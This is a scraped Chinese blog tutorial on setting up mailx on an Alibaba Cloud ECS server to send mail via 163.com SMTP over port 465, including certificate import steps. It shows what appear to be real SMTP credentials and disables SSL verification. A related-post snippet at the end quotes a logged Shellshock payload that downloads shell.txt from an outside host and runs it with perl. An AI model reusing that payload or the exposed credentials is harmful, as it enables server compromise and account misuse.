# 阿里云ECS通过mail发送邮件

参考博文

面对疾风

因为阿里云默认将目的端口为TCP25的出现流量屏蔽了,所以改用465 ssl端口发送邮件。

yum安装mailx

[[email protected] ~]$ yum install -y mailx
##yum安装完mailx之后,/etc下会自动创建一个mail.rc的文件,在最下面追加如下内容即可。
[[email protected] ~]$ vim /etc/mail.rc

##对方收到邮件时显示的发件人
set [email protected]

##指定第三方发邮件的smtp服务器地址
set smtp=smtps://smtp.163.com:465

##第三方发邮件的用户名
set smtp-auth-user=183xxxx2118

##邮箱的密码或授权码(163邮箱需要指定授权码)
set smtp-auth-password=xxxxxx

##SMTP的认证方式,默认是login
set smtp-auth=login

##忽略ssl的检查
set ssl-verify=ignore

##指定证书所在的目录
set nss-config-dir=/home/Allen/.certs

##此时直接发邮件会提示证书不被承认
[[email protected] ~]$ echo test | mail -s test [email protected]
[[email protected] ~]$ Error in certificate: Peer‘s certificate issuer is not recognized.
smtp-server: 454 Command not permitted when TLS active
"/home/Allen/dead.letter" 11/301
. . . message not sent.

##创建目录,用来存放证书
[[email protected] ~]$ mkdir -p /home/Allen/.certs/

##向163申请证书
[[email protected] ~]$ echo -n | openssl s_client -connect smtp.163.com:465  | sed -ne ‘/-BEGIN CERTIFICATE-/,/-END CERTIFICATE-/p‘ > ~/.certs/163.crt
depth=2 C = US, O = GeoTrust Inc., CN = GeoTrust Global CA
verify return:1
depth=1 C = US, O = GeoTrust Inc., CN = GeoTrust SSL CA - G3
verify return:1
depth=0 C = CN, ST = ZheJiang, L = HangZhou, O = "NetEase (Hangzhou) Network Co., Ltd", CN = *.163.com
verify return:1
DONE

##添加一个证书到证书数据库
[[email protected] ~]$  certutil -A -n "GeoTrust SSL CA" -t "C,," -d ~/.certs -i ~/.certs/163.crt 

##添加一个证书到证书数据库
[[email protected] ~]$ certutil -A -n "GeoTrust Global CA" -t "C,," -d ~/.certs -i ~/.certs/163.crt 

##列出目录下的证书
[[email protected] ~]$ certutil -L -d /home/Allen/.certs/

Certificate Nickname                                         Trust Attributes
                                                             SSL,S/MIME,JAR/XPI

GeoTrust SSL CA                                              C,,  

[[email protected] ~]$ ls /home/Allen/.certs/
163.crt    cert8.db   key3.db    secmod.db  

##此时发送邮件还会报错,因为证书不被承认
[[email protected] ~]$ echo "test" | mail -s test [email protected]
[[email protected] ~]$ Error in certificate: Peer‘s certificate issuer is not recognized.
smtp-server: 454 Command not permitted when TLS active
"/home/Allen/dead.letter" 11/301
. . . message not sent.

##标记为信任
[[email protected] ~]$ cd .certs/
[[email protected] .certs]$ certutil -A -n "GeoTrust SSL CA - G3" -t "Pu,Pu,Pu" -d ./ -i 163.crt
Notice: Trust flag u is set automatically if the private key is present.

##没有报错解决问题
[[email protected] .certs]$ echo "test" | mail -s test [email protected]

普通服务器配置mailx发送邮件场景

[[email protected] ~]$ yum install -y mailx
[[email protected] ~]$ vim /etc/mail.rc
set [email protected]
set smtp=smtp.163.com
set smtp-auth-user=18310892118
set smtp-auth-password=0817LTBbtl
set smtp-auth=login

[[email protected] ~]$ echo test | mail -s test [email protected]

原文地址:http://blog.51cto.com/10019069/2141364

时间: 2024-08-14 16:27:35

# 阿里云ECS通过mail发送邮件的相关文章

阿里云ECS无法发送邮件

问题说明 在阿里云ECS上创建监控,来监控日志访问.安装postfix后,使用mail命令进行邮件发送,失败,命令行未提示任何错误信息,并且日志内也没有相关错误信息.就好像把邮件发送到黑洞里了. 网上查询相关文档,提示阿里云ECS为了安全已屏蔽 25 端口的邮件发送,如果想使用邮件,可以使用加密的 smtp 465 端口. 解决方法:编辑 /etc/mail.rc 文件 # 启动ssl set ssl-verify=ignore # 邮箱账户 set fro[email protected] #

2、阿里云ECS发送邮件到腾讯企业邮箱(ECS默认不开启25端口)

阿里云ECS默认禁用25端口导致发邮件失败. 方法一: 使用shell脚本发送邮件,需要配置mailx 1.安装软件 yum install mailx 2.配置 vim /etc/mail.rc在文件最后加上如下内容: set smtp=smtps://smtp.exmail.qq.com:465   #邮箱服务器地址 set [email protected]           #发送邮件的来源 set [email protected]  #用户名 set smtp-auth-passw

阿里云ECS被攻击

今天发现阿里云ECS被攻击了,记录一下, /1.1 Match1:{ :;};/usr/bin/perl -e 'print .content-type: text/plain.r.n.r.nxsuccess!.;system(.wget http://lbinvestment.com/shell.txt -o /tmp/shell.txt;curl -o /tmp/shell.txt http://lbinvestment.com/shell.txt;perl /tmp/shell.txt ;

Mac电脑 阿里云ECS(ContentOS) Apache+vsftpd+nodejs+mongodb建站过程总结

简介:我这里采用的阿里云免费提供的6个月ECS服务器:制作了一个简单的爬虫程序:里面很多功能还么做:搜索里面功能回去的数据未做处理会崩溃(大家不要点搜索功能):地址:http://loldragon.top:3000/movie 1.获取ECS服务器后,数据格式化和挂载 答:具体参考阿里云文档:Linux 格式化和挂载数据盘 2.在mac上访问阿里云ECS服务器 2.1 使用自带的终端登录或者下载iterm2软件 2.2  或者阿里云控制台点击远程链接:第一次远程链接时会生成一个远程链接的密码,

【WorkShare-181102】阿里云服务器上无法发送邮件的现象原因及解决

1.阿里云服务器上无法发送邮件的现象 2.原因及解决 阿里云对ECS服务器的25号端口出现进行了封锁:如果希望发送邮件,需要申请解封,地址是:https://yundun.console.aliyun.com. 路径是安全管控--业务申请--25端口解封. 47.94.x9.1xx(smtp.126.com) 2018-11-02 14:50:01 审核中 -- 原文地址:http://blog.51cto.com/mjunetwslinux/2312223

阿里云ECS和RDS部分操作

最近外网想部署一个java web项目,因此购买了阿里云ECS 1核1G,linux centos系统.ecs只够安装jdk,tomcat.so数据库先用了免费的RDS试用期. 1.使用RDS刚开始时,发现用数据库连接在本地客户端连接不上,后来发现是需要RDS设置白名单设置对应ip才能连接成功. 2.tomcat部署项目时,在config/service.xml中配置了对应项目的配置以方便访问.在Host之间配置以下一行配置,项目放在tomcat/webapps/下,以下context中path

Highcharts纯js图表库,以后可以跟客户说,你跟阿里云ECS用的图表库是同款

Highcharts是一款纯javascript编写的图表库,能够很简便的在Web网站或Web应用中添加交互性的图表,Highcharts目前支持直线图.曲线图.面积图.柱状图.饼图.散点图等多达18种不同类型的图表,可以满足常用的Web图表需求 ! 近来维护我的阿里云服务器,进入后台偶然发现阿里云管理后台数据图表用的也是Highcharts,刚好正需要WEB端展示数据的东西,研究哈… Highcharts官网:http://www.highcharts.com Highcharts中文站:ht

用阿里云ECS搭建WordPress环境

看着新鲜出炉的阿里云ECS,心中不免有些小激动,下来就是用阿里云配置Web环境了.(系统环境:Ubuntu 14.06 64位) 一.在Ubuntu中安装Apache2(其他linux系统类似) 在安装Apache2之前,我们首先更新系统:apt-get update(解决apt-get找不到软件包的问题 ) 更新完系统之后,我们就可以开始安装Apache2了: 首先在终端输入:apt-get install apache2不要以为安装完成就结束了,这仅仅只是一个开始,然后输入以下代码: apt

阿里云ECS安全防护小记

注册开通阿里云没几天,就有20多次SSH密码破解攻击,基本都被云盾拦截了.SSH密码一定要设复杂些,常用或太简单的密码很容易被攻陷. 下面是密码破解企图的IP记录: 以被拦截8次的123.57.253.27 IP为例,百度下: 如上,可以看到中国科大记录的该IP ssh_password_scan 扫描ssh密码企图. 查了下有两种常用暴力密码破解工具:Hydra.Medusa.可以参考如下三篇文章(仅作技术研究用,请勿作恶): http://blog.csdn.net/jesse__zhong